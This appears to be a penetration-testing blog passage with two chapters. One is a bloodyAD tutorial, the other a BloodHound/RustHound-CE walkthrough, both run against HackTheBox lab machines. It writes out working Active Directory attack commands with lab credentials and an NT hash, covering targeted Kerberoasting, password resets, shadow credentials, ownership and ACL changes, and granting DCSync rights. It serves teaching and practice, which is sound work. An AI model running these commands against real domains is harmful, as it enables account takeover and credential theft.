What bloodyAD is, and where it fits

BloodHound is very good at one thing: showing you what's possible in an Active Directory environment. It collects the directory, maps the relationships between users, groups, and computers, and highlights the paths that lead from a low-privileged account to Domain Admin. What it doesn't do is act on any of it. BloodHound shows you the path but doesn't walk it, and walking it is the job bloodyAD is built for.

bloodyAD is an Active Directory privilege-escalation framework. In practical terms, it's a single Linux tool that logs into a domain controller over LDAP and lets you read, add, and modify objects in the directory: users, groups, computers, permissions, and delegation settings.

It authenticates with whatever credential you have. A cleartext password, an NT hash, a Kerberos ticket, or a certificate all work, which matters on a real engagement where you rarely start with a clean password.

Why bloodyAD instead of the alternatives

Plenty of tools abuse Active Directory permissions, so it's fair to ask why this one is worth learning. The short version is that it consolidates a lot of separate capabilities into one consistent interface, and it runs from Linux.

Impacket covers much of the same ground, but it's a collection of individual scripts: one to edit a DACL, another to change an owner, another for RBCD, another to add a computer. Each has its own syntax. bloodyAD puts most of those operations behind one tool with one grammar.

PowerView, Rubeus, and Whisker are Windows-native tools and are commonly used from a Windows foothold. bloodyAD lets you perform many of the same directory-side operations directly from your Linux attack box.

Certipy is the better tool for AD CS exploitation, and bloodyAD doesn't try to replace it. bloodyAD can enumerate certificate templates, but for actually exploiting an ESC path you'll still want Certipy. The two are complementary.

So the case for bloodyAD isn't that it beats everything else. It's that when you have a credential, a Linux box, and a permission to abuse, it's the most direct way to act on that permission without touching a Windows host. It also works transparently through a SOCKS proxy, so the same commands run unchanged when you're pivoting through a compromised host, which is where the Ligolo-ng chapter connects.

What it can actually do

bloodyAD is often introduced as a password-reset tool, which undersells it. The CLI is organized under a few verbs:

• get reads from the directory: object attributes, domain trusts, and get writable, which lists what your current account can modify.

• add creates or grants: a group member, a computer, a GenericAll ACE, DCSync rights, shadow credentials, RBCD, or a UAC flag.

• set changes an existing value: an object's owner, a password, a service principal name for a targeted Kerberoast, or a restore on a deleted object.

• remove reverses any of the above, which matters because cleaning up after yourself is part of the work.

Together, that covers a large part of the Active Directory attack surface in a single binary.

How it works alongside BloodHound

This is worth spelling out, because it's the reason bloodyAD earns a place next to BloodHound rather than competing with it.

The two tools handle different halves of the same job. BloodHound is analysis; bloodyAD is execution.

BloodHound collects the directory, builds the graph, and shows you the edges: ForceChangePassword, GenericWrite, GenericAll, WriteOwner, AddMember, AddKeyCredentialLink, AllowedToAct. It tells you what you can do and where each option leads, and it does all of this read-only. It never modifies the domain.

bloodyAD is what turns one of those edges into an actual change. Most of the mapping is straightforward once you've seen it. Just to name a few:

• ForceChangePassword corresponds to set password.

• GenericAll over a user lets you run set password or add shadowCredentials directly.

• WriteOwner is a two-step: set owner to take the object, then add genericAll to grant yourself control, and then you abuse it.

• GenericWrite lets you write an SPN and Kerberoast, or add shadow credentials.

• AllowedToAct corresponds to add rbcd.

• GenericAll over a group corresponds to add groupMember.

Most edges BloodHound draws have a corresponding bloodyAD command.

The relationship runs in both directions, too. BloodHound's graph is a snapshot taken at collection time, while bloodyAD's get writable shows you what your identity can modify right now. That's how you catch access that changed since your last collection, or that your collector missed.

In practice the workflow is a loop: collect with your BloodHound collector, analyze the graph, execute the useful edge with bloodyAD, then re-collect to see what your new access opened up, and repeat as needed.

It's also worth knowing that bloodyAD's author ships two companion scripts, pathgen and autobloody, which read BloodHound's Neo4j database directly, work out a privilege-escalation path, and execute it through bloodyAD automatically. This post covers the primitives one at a time so you understand each one, rather than handing the whole path to automation, but the fact that the integration exists at all says something about how closely the two tools are meant to work together.

Installing bloodyAD on Kali

There are two reasonable ways to install bloodyAD on Kali, and it's worth understanding the trade-off rather than copying one command blindly.

Kali packages bloodyAD, so the simplest option is:

sudo apt install bloodyad

This pulls the dependencies for you and updates alongside the rest of your system, and it's the approach Kali recommends whenever a tool is already packaged.

The reason I usually install it with pipx instead is that bloodyAD is developed actively, and new features and fixes reach the upstream project before they make it into the Kali package. If you want the current version, pipx gives you the upstream build in an isolated environment without modifying Kali's system Python.

It's also worth being clear on why the answer isn't plain pip. Since Kali 2024.4, system-wide pip installs are blocked, and running sudo pip install returns an externally-managed-environment error. pipx is the supported way to install standalone Python tools around that restriction.

Installing with pipx

First, check whether pipx is already present:

pipx --version

If it isn't, install it from APT:

sudo apt update && sudo apt install pipx -y

Then make sure pipx's binary directory is on your PATH:

pipx ensurepath

If that command makes a change, open a new terminal before continuing so the shell picks it up.

Now install bloodyAD:

pipx install bloodyAD

Confirm it installed and check where it lives:

bloodyAD --help
which bloodyAD

On a standard Kali setup, the executable will be in your user's local bin directory:

/home/kali/.local/bin/bloodyAD

Keeping it updated

If you install with pipx, one thing to remember is that pipx-managed tools sit outside APT. Running sudo apt update && sudo apt upgrade will not update bloodyAD. You update it separately:

pipx upgrade bloodyAD

Or update everything pipx manages at once:

pipx upgrade-all

And to see what pipx is currently managing:

pipx list

The shape of a bloodyAD command

That's the full installation. There's no need to clone the repository or build a virtual environment by hand. From here, nearly every bloodyAD command follows the same structure:

bloodyAD --host <DC_IP> -d <DOMAIN> -u <USER> -p '<PASSWORD>' <ACTION>

The host, the domain, the account you're authenticating as, and the action to run against the directory. You'll also see -H used as the short form of --host. The rest of this post focuses on that last part: the actions worth knowing, what each one abuses, the rights that enable it, and how to undo it. (Note a lot of the following commands come from the hackthebox machine TombWatcher this is a good box to follow along with and get really familiar with bloodhound bloodyAD and nxc.)

Change an SPN (targeted Kerberoasting)

If you can write to a target account's servicePrincipalName attribute, you can make that account Kerberoastable on demand. You assign it an SPN, request a service ticket for that SPN, crack the ticket offline to recover the account's password, and then remove the SPN you added. The account doesn't need to be running any service; it only needs the SPN long enough for you to request and capture a ticket. This is targeted Kerberoasting.

Rights that enable it. You need write access to the target's servicePrincipalName. In BloodHound terms, that's any of:

• WriteSPN, or WriteProperty over servicePrincipalName

• GenericWrite

• GenericAll

If you only hold WriteDACL, WriteOwner, or ownership of the object, you can grant yourself one of the rights above first and then write the SPN. That chain is covered in the WriteDACL section.

Writing the SPN. The set object command writes an attribute. You give it the target, the attribute name, and the value with -v:

bloodyAD --host 10.129.46.58 -u henry -p 'H3nry_987TGV!' -d tombwatcher.htb set object alfred servicePrincipalName -v 'HTTP/alfred.tombwatcher.htb'

bloodyAD confirms the change with [+] alfred's servicePrincipalName has been updated.

With the SPN in place, you can request the ticket. NetExec's LDAP module handles this with --kerberoasting, which requests a ticket for every account that has an SPN. In this case that's the one account you just modified:

nxc ldap 10.129.46.58 -u henry -p 'H3nry_987TGV!' --kerberoasting kroast.txt

The output reports Total of records returned 1 and writes the account's $krb5tgs$23$ hash to the output file. From there it's a standard offline crack:

john kroast.txt --wordlist=/usr/share/wordlists/rockyou.txt

The hash cracks to the password basketball. Writing a single attribute turned an account you couldn't authenticate as into one you can.

A couple of things to know.

The service named in the SPN doesn't have to exist, and nothing needs to be listening for it. The SPN only has to be unique within the domain. HTTP/ is a common choice by convention, but the attack doesn't depend on the service class you use.

Because you're modifying a live account, you should restore the original state when you're done. bloodyAD will give you the restore command if you add --bak:

bloodyAD --host 10.129.46.58 -u henry -p 'H3nry_987TGV!' -d tombwatcher.htb set object alfred servicePrincipalName -v 'HTTP/alfred.tombwatcher.htb' --bak

It performs the write and then prints the command that reverses it:

[+] Restore command:
    set object 'alfred' servicePrincipalName

Use --bak on your first change to the attribute, not a later one. It records whatever value the attribute holds at the moment you run it, so if you set the SPN first and add --bak on a second run, you'll back up the value you already planted rather than the original. The correct sequence is to back up first, perform the roast, and then run the restore command bloodyAD printed, prefixed with your usual --host, -u, and -p.

Add a group member

Adding a principal you control to a group lets you inherit whatever rights, access, or privileges that group has been granted. If a group holds useful permissions somewhere in the domain, membership in it becomes a path to those permissions.

Rights that enable it. Any of:

• AddMember, or WriteProperty over the group's member attribute

• AddSelf (allows the principal holding the right to add itself to the group)

• GenericWrite

• GenericAll

As with the other operations, WriteDACL, WriteOwner, or ownership of the group can be used to grant yourself one of these first.

The command. add groupMember takes the group and the member to add:

bloodyAD --host 10.129.46.58 -u alfred -p 'basketball' -d tombwatcher.htb add groupMember Infrastructure alfred

A couple of notes. Group membership can unlock rights elsewhere in the domain through ACLs assigned to that group, which is the reason it's worth doing. And because your current token or Kerberos ticket was issued before you joined the group, you may need to re-authenticate or request a fresh ticket for the new membership to take effect.

Cleanup. Remove yourself when you're done:

bloodyAD --host 10.129.46.58 -u alfred -p 'basketball' -d tombwatcher.htb remove groupMember Infrastructure alfred

Read a gMSA password

A group managed service account (gMSA) is a domain account intended for services and scheduled tasks, where Active Directory manages and rotates the password automatically. If you have the right to read that managed password, bloodyAD will retrieve it and parse the blob into an NT hash you can use for pass-the-hash authentication as the account.

Rights that enable it. Any of:

• ReadGMSAPassword

• Being listed in the gMSA's PrincipalsAllowedToRetrieveManagedPassword / msDS-GroupMSAMembership

• GenericAll over the gMSA

WriteDACL, WriteOwner, or ownership can be used to grant yourself read access first.

The command. Read the managed password attribute directly:

bloodyAD --host 10.129.46.58 -u alfred -p 'basketball' -d tombwatcher.htb get object 'ansible_dev$' --attr msDS-ManagedPassword

In the output, look for msDS-ManagedPassword.NT. That's the NT hash you want. A few things worth knowing: gMSA account names end in $, but so do computer accounts, so don't identify a gMSA by the trailing $ alone. NetExec's normal --users enumeration can skip gMSA accounts, so if you know the name, querying it directly like this is the reliable way to get the hash.

That NT hash is what you carry into the next step. bloodyAD authenticates with a hash using -p ':<NT_HASH>', with the leading colon, which is different from NetExec's -H.

Reset a password

Setting a new password on a target account is the most direct takeover when you have the right to do it. This is a reset, not a change: you don't need to know the account's current password.

Rights that enable it. Any of:

• ForceChangePassword (User-Force-Change-Password)

• AllExtendedRights

• GenericAll

WriteDACL, WriteOwner, or ownership can be used to grant yourself the reset right first.

The command. Here the authenticating account is the gMSA from the previous step, using its NT hash, resetting a different user's password:

bloodyAD --host 10.129.46.58 -u 'ansible_dev$' -p ':cb3161cb2c9d84b58ba3014f55040d75' -d tombwatcher.htb set password sam 'Password1$'

bloodyAD confirms with [+] Password changed successfully!.

One caution: resetting a password is disruptive. It locks the legitimate user out of the account and can break any service authenticating as it, so it's the noisiest of the takeover options. When the account is in active use and you have a less disruptive alternative such as shadow credentials, prefer that.

Change an object's owner

Changing an object's owner to a principal you control is usually a stepping stone rather than the final move. An object's owner can rewrite that object's DACL, which lets you grant yourself whatever right you actually need: GenericAll, GenericWrite, ForceChangePassword, or control over group membership.

Rights that enable it. Either of:

• WriteOwner

• GenericAll

The command. The syntax is set owner <TARGET> <NEW_OWNER>:

bloodyAD --host 10.129.46.58 -u sam -p 'Password1$' -d tombwatcher.htb set owner john sam

bloodyAD reports the change, naming the previous owner's SID and the new one: [+] Old owner S-1-5-21-...-512 is now replaced by sam on john.

Two things to keep in mind. Becoming the owner does not automatically grant you GenericAll; what it gives you is the ability to rewrite the DACL and add the right you want. And if you care about cleanup, record the original owner (the SID bloodyAD prints) before you change it, so you can put it back.

Add shadow credentials

Shadow credentials add a KeyCredential to the target's msDS-KeyCredentialLink attribute, which gives you certificate-based Kerberos authentication material for that account without changing its password. Because the account's password is untouched, shadow credentials are less disruptive than a password reset and won't lock the legitimate user out.

Rights that enable it. Any of:

• AddKeyCredentialLink, or write access to msDS-KeyCredentialLink

• GenericWrite

• GenericAll

WriteDACL, WriteOwner, or ownership can be used to grant yourself the write first.

The command.

bloodyAD --host 10.129.46.58 -u sam -p 'Password1$' -d tombwatcher.htb add shadowCredentials john

This attack depends on the Key Trust PKINIT path, and there are a few things worth understanding before you rely on it. If the PKINIT authentication step fails, that does not necessarily mean the KeyCredential write failed. bloodyAD may have successfully written the credential and saved a PFX before the later authentication attempt errored, and a PKINIT failure here doesn't prove that all certificate-based authentication is broken in the domain, since another certificate-trust path may still work. If the credential can't authenticate and you also hold a simpler takeover right such as ForceChangePassword, it's reasonable to just reset the password instead.

One practical warning: don't blindly rerun the command after a failure, because each run can append another KeyCredential. Save the SHA256 key ID that bloodyAD prints so you can remove only the credential you added.

Cleanup. Remove the specific credential by its key ID:

bloodyAD --host 10.129.46.58 -u sam -p 'Password1$' -d tombwatcher.htb remove shadowCredentials john --key 4bbd1b02f3ea504eef3df222989bb46ef141f1c018b67932e7df659373f23a60

Add a GenericAll ACE

Adding a GenericAll ACE for a principal you control gives that principal full control over the target object. From there you use whatever takeover fits the object type: reset a user's password, add shadow credentials, change an SPN, or modify group membership.

Rights that enable it. Any of:

• WriteDACL

• GenericAll

• Ownership of the target

If you only have WriteOwner, take ownership first and then add GenericAll.

The command. The syntax is add genericAll <TARGET> <TRUSTEE>, where the trustee is the principal receiving control over the target:

bloodyAD --host 10.129.46.58 -u sam -p 'Password1$' -d tombwatcher.htb add genericAll john sam

Full control over the object is the result, but the useful follow-up depends on what kind of object the target is. If you already hold WriteDACL, this is often the simplest way to convert that into an immediately useful position.

Cleanup.

bloodyAD --host 10.129.46.58 -u sam -p 'Password1$' -d tombwatcher.htb remove genericAll john sam

WriteDACL and GenericAll: the quick rule

Two rights come up constantly, and it helps to have a default response to each.

If you have WriteDACL over an object, the standard move is to grant a principal you control GenericAll over it:

bloodyAD --host <DC_IP> -u <USER> -p '<PASSWORD>' -d <DOMAIN> add genericAll <TARGET> <TRUSTEE>

If you only have WriteOwner, take ownership first, then grant GenericAll.

Once you have GenericAll, pick the simplest takeover that fits the target:

• User: reset the password, or add shadow credentials.

• Group: add a principal you control to the group.

• Computer: shadow credentials are usually preferable to changing the machine password.

• If a specific abuse such as targeted Kerberoasting fits the situation better, use that instead.

The general principle is not to overcomplicate an ACL path. Convert the control you have into the simplest usable primitive and move on.

DCSync

DCSync abuses replication rights to pull secrets, including password hashes, directly from the domain. The point that trips people up: these rights apply to the domain object (the domain root), not to the domain controller's computer object.

Rights that let you do it directly. Any of:

• The DCSync combination: both DS-Replication-Get-Changes and DS-Replication-Get-Changes-All

• AllExtendedRights over the domain object

• GenericAll over the domain object

If you already hold these, there's no reason to keep pivoting through user accounts. Dump the domain secrets directly.

Granting yourself DCSync. If you have WriteDACL over the domain object, grant a principal you control the replication rights:

bloodyAD --host <DC_IP> -u <USER> -p '<PASSWORD>' -d <DOMAIN> add dcsync <TRUSTEE>

WriteOwner can be chained the same way as elsewhere: take ownership, modify the DACL, then grant DCSync.

Cleanup.

bloodyAD --host <DC_IP> -u <USER> -p '<PASSWORD>' -d <DOMAIN> remove dcsync <TRUSTEE>

Wrapping up

Every operation in this post follows the same shape: identify the right you hold, choose the write it enables, run it, and undo it afterward. That's the pattern behind targeted Kerberoasting, group membership changes, gMSA password reads, resets, ownership changes, shadow credentials, GenericAll, and DCSync alike. Once the pattern is familiar, bloodyAD stops being a list of commands to memorize and becomes a single tool you point at whatever right BloodHound put in front of you.

If you're following the series, the earlier chapters lead into this one:

• NetExec covers gaining the initial credential, including the --kerberoasting module used here. https://www.hack2harden.com/the-oscp-toolkit-netexec

• BloodHound + RustHound-CE covers finding the edges that bloodyAD executes. https://www.hack2harden.com/the-oscp-toolkit-bloodhound-rusthound-ce

Find. Fix. Fortify.

Now you're standing in a domain with one low-priv account and no idea where it can take you. This is the exact moment BloodHound exists for. NetExec is how you get a credential. BloodHound is how you find out that credential owns the entire domain and just doesn't know it yet.

This chapter takes you end to end: collect the directory with RustHound-CE, spin up the BloodHound UI, import clean, mark what you own, read what that ownership actually gets you, and let the tool draw you a route from a nobody support account to the DC. We'll run the whole thing against HTB's Support box.

Let's map some paths.

Step one: you can't map what you haven't collected

Here's the thing that trips people up when they first meet BloodHound. BloodHound doesn't collect anything. It never touches the domain. It's a graph engine, not a scanner. Every bit of intel it draws was gathered before you ever opened the UI, by a separate tool called a collector.

The collector is the recon. BloodHound is just the map it draws from it.

So before we get anywhere near attack paths and Kerberoast queries and the shortest path to Domain Admins, we have to feed the thing. That takes two ingredients: a valid domain credential, and a collector to run with it.

Why you need creds first

You cannot point a collector at a domain controller and vacuum up the directory for free. Modern DCs don't allow anonymous LDAP binds, so AD won't tell you a single useful thing until you authenticate. No creds, no collection.

That's exactly why BloodHound sits where it does in the kill chain. It is not your opening move. It's what you fire the second you land a foothold, even the weakest one. One low-priv domain account is the entire entry fee.

NetExec is how you validate that first credential in the first place. The moment NXC prints a green [+], you're holding everything RustHound needs to start pulling the graph. On Support, our foothold is the ldap account, and with that one set of creds we can bind to LDAP and pull the whole directory down.

What the collector actually grabs

When RustHound-CE runs, it isn't just grabbing a user list. It's walking the entire directory and pulling two categories of things:

The nodes, meaning the objects that exist: users, groups, computers, OUs, GPOs, containers, and the domain itself.

The edges, meaning the relationships between them: group memberships, ownership, ACL rights like GenericAll, WriteDACL, WriteOwner, and ForceChangePassword, plus delegation settings and trusts. On top of that it reads the attribute flags that quietly announce an attack primitive, like an account carrying an SPN (Kerberoastable) or one set to not require preauth (AS-REP roastable).

The nodes tell you what exists. The edges tell you how to win. A flat list of 21 users is noise. The graph of who can reset whose password, and which nested group quietly rolls up into Domain Admins, is the actual attack path. That's the whole reason we bother collecting.

Two collectors, and knowing which to grab

Before you run anything, one decision: SharpHound or RustHound. They're not rivals so much as two tools for two situations, and picking the right one is the difference between a complete graph and one with blind spots.

Got a session on a domain-joined box? Reach for SharpHound.

SharpHound is the reference collector, the one BloodHound's data model was built around. When you're running from inside the domain with network reach to the hosts, it doesn't just talk to the DC over LDAP. It reaches out to the individual computers over SMB and RPC and scoops up the stuff that only lives on the machines themselves: who's logged in where, who's a local admin, who has RDP or DCOM or PSRemote rights on each box.

That host-side data is where the nastiest paths hide. A Domain Admin session sitting on a box you already own is a game-ender, and that edge only exists in the graph if your collector actually went and looked at the host. From a local foothold, SharpHound is the one that reliably catches it. External LDAP-only collection can miss it entirely.

Coming in from the outside with just a credential? RustHound-CE.

This is the Support scenario, and it's the more common OSCP one. You're on your Kali box, you've got one domain cred, and you want the directory. RustHound is LDAP-first and absurdly fast, and it does a pile of convenient things automatically that make it my pick for external collection over reaching for bloodhound-python or NXC's LDAP module.

For example, if your account can read LAPS passwords, RustHound reads them for you and hands the local admin password straight back in the collection output. No extra query, no separate tool. It's sitting in your loot the moment collection finishes. That one feature alone earns its spot in my book. One honest caveat: this is legacy LAPS. Windows LAPS, the newer v2, isn't supported by the collector yet, so don't assume silence means the box is clean.

It doesn't stop there. It also pulls ADCS certificate template and CA data, so if there's a vulnerable template lurking, the ESC path shows up in your graph ready for a Certipy chaser. There's an optional FQDN resolver to map computer names to IPs, and beta support for following domain trusts. For a tool you fire once and forget, it front-loads a surprising amount of the next three steps.

So: local access, SharpHound. External with creds, RustHound. On Support we're squarely in the second camp, so Rust it is.

RustHound-CE, the fast collector

SharpHound is the classic collector, the C# one everybody starts with. RustHound-CE is the Rust rewrite built specifically for BloodHound Community Edition, and it is stupid fast because it's LDAP-focused. You point it at the domain, it hammers the LDAP partitions, and it spits out BloodHound-ready JSON in seconds. For OSCP-style boxes where the directory data is what you're after, it's my go-to.

Here's the run against Support:

rusthound-ce -u ldap -p 'supersecurepass' -d support.htb -c All -z

Flag by flag:

-u ldap is the username we're authenticating as. On this box the account is literally named ldap.

-p 'supersecurepass' is the password. Quote it so the shell doesn't choke on special characters.

-d support.htb is the domain FQDN. Notice there's no IP or DC address here. RustHound resolves the controller through DNS, and it resolves because we already dropped support.htb into /etc/hosts back in chapter one. That banner-reading step wasn't busywork, it's what lets this command Just Work.

-c All tells RustHound to collect everything it can.

-z zips the JSON output into a single archive, ready to drag straight into BloodHound.

Reading the output

[INFO] Connected to SUPPORT.HTB Active Directory!
[INFO] Starting data collection...
[INFO] Ldap filter : (objectClass=*)
[INFO] All data collected for NamingContext DC=support,DC=htb

That filter, (objectClass=*), means give me everything. And it repeats that across every LDAP partition in turn:

DC=support,DC=htb is the domain partition, where your users, groups, and computers live. CN=Configuration holds forest-wide config, and it's worth caring about because ADCS enrollment services live in there if you ever go the Certipy route. CN=Schema is the object definitions. DomainDnsZones and ForestDnsZones are the AD-integrated DNS partitions. RustHound walks all five, then parses the pile.

One line to actually stop and read:

[INFO] MachineAccountQuota: 10

MAQ is 10. That means any authenticated user, including our lowly ldap account, can create up to ten machine accounts. Park that in the back of your head. Being able to create machine accounts can become extremely useful when an RBCD path appears later, since it hands you a computer principal you actually control. The collector handed you that on a plate before you even opened BloodHound.

Then the parse summary, your sanity check that collection actually worked:

21 users parsed!
61 groups parsed!
1 computers parsed!
1 ous parsed!
1 domains parsed!
2 gpos parsed!
73 containers parsed!

One computer, one domain. Support is a single DC, so that lines up. If those counts came back at zero, you'd know your bind failed or your creds are dead.

And the payload:

.//20260812230708_support-htb_rusthound-ce.zip created!
RustHound-CE Enumeration Completed! Happy Graphing!

Timestamped zip, done in about two seconds. That archive is the graph. Next we drag it into BloodHound CE and let it draw.

Step two: fire up the BloodHound UI

The graph is zipped and waiting. Now we need somewhere to drop it. BloodHound CE runs as a local web app, so starting it is one command:

bloodhound-start

It'll ask for sudo because it has to spin up two things, not one. BloodHound is a front end. Neo4j is the brain. Neo4j is the graph database that actually stores your nodes and edges and answers the path queries. BloodHound is just the UI that draws pretty pictures from it. The start script boots both:

Starting Neo4j.
Started neo4j (pid:3701). It is available at http://localhost:7474

That 7474 is Neo4j's own console. You don't need it. Ignore that port, it's the database talking to itself. Wait for the part you actually care about a few lines down:

[*] Web UI: http://127.0.0.1:8080

There it is. BloodHound lives at port 8080 by default. Open a browser and go to http://localhost:8080. If it looks blank or half-loaded the first time, refresh once, the backend sometimes needs a second to finish waking up.

First login is the classic:

user: admin
password: admin

That gets you straight in. Change the password once you're logged in, since a full map of the domain's attack paths isn't something you leave sitting behind admin/admin, but that's your call to make, not something the app nags you about. Then you're staring at an empty graph waiting to be fed.

Empty is expected. We haven't uploaded anything yet. That's step three.

Step three: feed the graph

Time to hand BloodHound the loot. Two things to square away before you upload, one cosmetic and one that will wreck your night if you skip it.

Rename the zip first

RustHound names its output like it's angry at you:

.//20260812230708_support-htb_rusthound-ce.zip

That timestamp-prefixed mess is fine, BloodHound doesn't care what it's called, but future-you digging through a folder of five of these absolutely will. Rename it to something you'll recognize. support-ce.zip, support-rusthound.zip, whatever keeps your engagements straight. Thirty seconds now saves you squinting at timestamps later.

Clear the last box before you import the next one

Quick clarification first, because you'll read conflicting things. BloodHound is designed to merge uploads into its existing database. That's intended behavior, not a bug. Repeated collections of the same domain, and related domains in the same forest, are supposed to coexist and enrich each other. Merging is a feature.

So this next bit isn't a fix for something broken. It's lab hygiene for how we practice. In HTB and OSCP prep you're working one unrelated box at a time, and Support has nothing to do with the box you rooted yesterday. If yesterday's data is still sitting in the database when you import Support, nothing gets corrupted, but you're now staring at a graph full of nodes and paths that have zero bearing on the target in front of you. That's just noise, and noise is the enemy when you're learning to read these graphs.

So for one-box-at-a-time practice, I clear the previous lab before importing the next. Go to Administration, then Database Management, and use the clear-database function to wipe it. Empty database, clean slate, and the only thing on screen is the box you're actually attacking. On a real engagement with related domains you'd leave the merge behavior alone and let it work for you. In the lab, one box in, one box out.

Upload it

Now the actual import. Over on the left, hit Administration, and under Data Collection you'll find File Ingest.

That's your upload point. Drop the renamed zip in, and BloodHound ingests it, unpacking all that JSON into Neo4j and stitching the nodes and edges into a live graph. Give it a moment to chew, and the counts you saw back in the RustHound output (21 users, 61 groups, the lone computer) become clickable, queryable, walkable.

There's a Quick Upload button up in the main menu that does the same job in fewer clicks once you know your way around. File Ingest is the scenic route that shows you what's actually happening, which is where you want to be while it's still new.

Confirming it landed

Head back to the File Ingest tab and check the status line. When the import worked, you'll see it plainly:

ID 130     Complete     7 Files     0 mins

Complete is the word you're looking for. Green dot, "Complete," and a file count that makes sense. RustHound zipped up seven JSON files, and seven is what BloodHound reports swallowing. Numbers match, no errors, we're good. The duration reading 0 mins isn't a bug, Support is a tiny single-DC domain, so ingestion is basically instant.

One thing worth knowing so it doesn't rattle you: sometimes ingest just faceplants for no reason. Status comes back failed, or canceled, no explanation, nothing wrong with your zip. It's a fluke.

Don't start debugging, don't re-run the collector, just hit upload again with the same file. Works about nine times out of ten on the second try. If it fails twice in a row, then start actually looking at it, but a single flukey failure is nothing to chase.

Green and complete? The graph is loaded and live. Now we hunt.

Step four: tell BloodHound what you own

The graph is loaded, but right now BloodHound is showing you the whole domain with no idea where you stand in it. Before you go hunting for paths, you have to plant your flag. You have to tell the tool which accounts you already control.

Head to Explore on the left menu. Up top you've got a Search bar. Type in the account you've compromised, your foothold user, and BloodHound will start matching nodes as you type. Click the name when it surfaces and the user pops onto the graph as a single node.

Now click that node icon and its action menu appears (if a plain click just highlights it, right-click to bring the menu up). You'll see a stack of options: Set as starting node, Set as ending node, Add to Tier Zero, and the one we want, Add to Owned.

What "owned" actually means

"Owned" is BloodHound's word for an account you control. Foothold creds, a cracked hash, a password you found in a share, a LAPS password RustHound handed you back in the collection. Anything you can authenticate as, you own. Marking it here tags the node with a little skull and, more importantly, writes it into BloodHound's brain as a starting point you already possess.

That second part is the whole point. This is the difference between a map and a route. An unmarked graph is just a map of the entire domain, thousands of possible connections, most of which have nothing to do with you. The second you mark a node as owned, BloodHound can answer a far better question: not "what paths exist in this domain," but "what paths exist from where I'm actually standing."

That unlocks the query that makes the tool famous, Shortest Path from Owned Principals. It takes every account you've flagged and traces the fastest route from any of them to Domain Admin. But it can only do that if you've told it what you own first. Skip this step and that query has nothing to work from.

Mark everything, not just the first one

You do this for every account you get your hands on, not just the foothold. Owned is cumulative and it compounds. Crack one user, mark them. That reveals they can reset a second user's password, so you go grab that account and mark them too. Each new owned node reshuffles the graph and lights up paths that were invisible a step ago. A domain you can't crack from one account often falls wide open from three.

So right now, mark your foothold. Then click the node and read its info panel to see exactly what this account can do: its group memberships, its sessions, and its outbound object control, meaning every other principal it has rights over. That panel is your full scope of capability from this one account, laid out in plain sight.

Flag planted. Now we ask BloodHound the only question that matters: how do I get to Domain Admin?

Step five: read your outbound object control

You're marked as owned. BloodHound knows where you stand. Now comes the part that turns a pile of creds into an actual attack plan: assessing your outbound object control.

What outbound object control is

Strip away the jargon and it's a simple question: what can this account do to other things in the domain?

Active Directory runs on permissions. Every object, every user, group, computer, and the domain itself, has an access list saying who's allowed to modify it and how. Outbound object control is the list of rights your account holds over everything else. It's the answer to "what damage can I do from here," written out for you in plain sight.

This is the goldmine. Group memberships tell you who you are. Sessions tell you where you've been. But outbound object control tells you what you can seize next, and that's the stuff that walks you toward Domain Admin.

You find it in the info panel on the right, the same one that opens when you click your user node from the Explore search. Scroll down and you'll see an Outbound Object Control section. That's your hit list.

How the rights show up on the graph

When you expand that control onto the graph, BloodHound draws it as a labeled line running from your user to whatever object you have power over. The label on that line is the permission. GenericAll, WriteDACL, ForceChangePassword, AddKeyCredentialLink, and so on. The arrow points from you to the thing you control.

Here's where it gets good, and where Support shows it off perfectly. Control doesn't only flow straight from user to target. It flows through your group memberships too. Look at the path the graph draws:

SUPPORT@SUPPORT.HTB  --MemberOf-->  SHARED SUPPORT ACCOUNTS  --GenericAll-->  DC.SUPPORT.HTB

Read that chain left to right. Our foothold user support is a member of the SHARED SUPPORT ACCOUNTS group. That group holds GenericAll over DC.SUPPORT.HTB, the domain controller itself. And because you inherit every right of every group you belong to, that GenericAll on the DC is yours. A nothing-special support account just turned out to hold total control over the crown jewel, purely by group membership. That is the entire reason we map this instead of guessing.

A full breakdown of what each of these permissions actually is and how you weaponize them is its own beast, and it's coming in a dedicated AD permissions post. For now, you don't need to memorize them. You need to know they're your leverage and where to read what they mean, which is the next bit.

Click the permission to learn how to abuse it

This is the feature that makes BloodHound genuinely beginner-friendly. Click the permission label on the line and the right-hand panel repopulates, this time about the edge itself, not the node.

Two sections matter. General gives you a plain explanation of what the permission is. Windows Abuse (and its Linux counterpart) tells you how to turn it into access, and names tools to do it with. Click the GenericAll on that DC edge and BloodHound spells it out: the right lets you write to the DC's msDS-KeyCredentialLink attribute, which lets you drop Shadow Credentials and authenticate as the machine via Kerberos PKINIT. It even flags the alternatives, that GenericAll on a computer also opens RBCD and an ADCS ESC14 path. It hands you the attack, the technique name, and a link to the how-to.

One thing to keep your head straight about: those suggested tools and techniques are BloodHound's examples, not the law. The panel shows you a way, usually the common one. It is not the only way. GenericAll here could go the Shadow Credentials route, or RBCD, or ESC14, and depending on the box, your tooling, and what's actually reachable, you might reach for something entirely different than what the panel names. BloodHound tells you the door is unlocked. It doesn't get to decide how you walk through it. Treat the suggestions as a starting point and a learning aid, not a script.

So that's the read: mark owned, open the panel, study your outbound control, and click the edges to understand your leverage. You now know, concretely, that support can own the domain controller through a group it happens to sit in. Next we stop reading about it and go do it.

Step six: pathfinding, or letting BloodHound do the walking

In step five you read your outbound control by hand and traced where it led. That works, and you should know how to do it. But BloodHound has a mode that does the tracing for you, and once you've got a target in mind it's the fastest way to a plan: Pathfinding.

What pathfinding actually does

Simple idea. You give BloodHound two points, a start and a destination, and it finds the shortest route between them through every edge in the graph. Instead of you clicking node to node asking "okay, what can this reach, and what can that reach," you just say "I am here, I want to be there, show me the way." BloodHound does the graph math and draws the line.

That's the whole pitch, and it's a big deal on a real domain. Reading outbound control by hand is fine on Support, where the graph is tiny. Drop that approach on an enterprise with forty thousand objects and you'll be there all night. Pathfinding scales. It collapses a sprawling mess of permissions into the one chain that matters.

Running it

Up top, click the Pathfinding tab, right next to Search. Two fields open up:

The top field is your start node. Put your owned user here, SUPPORT@SUPPORT.HTB.

The bottom field is your destination. This is the thing you're trying to reach.

There's a little swap button between them if you ever want to flip direction, and a filter if you want to constrain which edge types it's allowed to use. For now, leave those alone.

The classic: path to Domain Admins

Nine times out of ten, the first destination I punch in is Domain Admins. It's the "can I win this domain, and if so how" query, and it's the single most useful thing pathfinding does. Start typing domai and BloodHound floods you with matches, Domain Admins, Domain Controllers, Domain Users, the domain object itself. Pick DOMAIN ADMINS@SUPPORT.HTB and let it draw.

Here's what it hands back on Support:

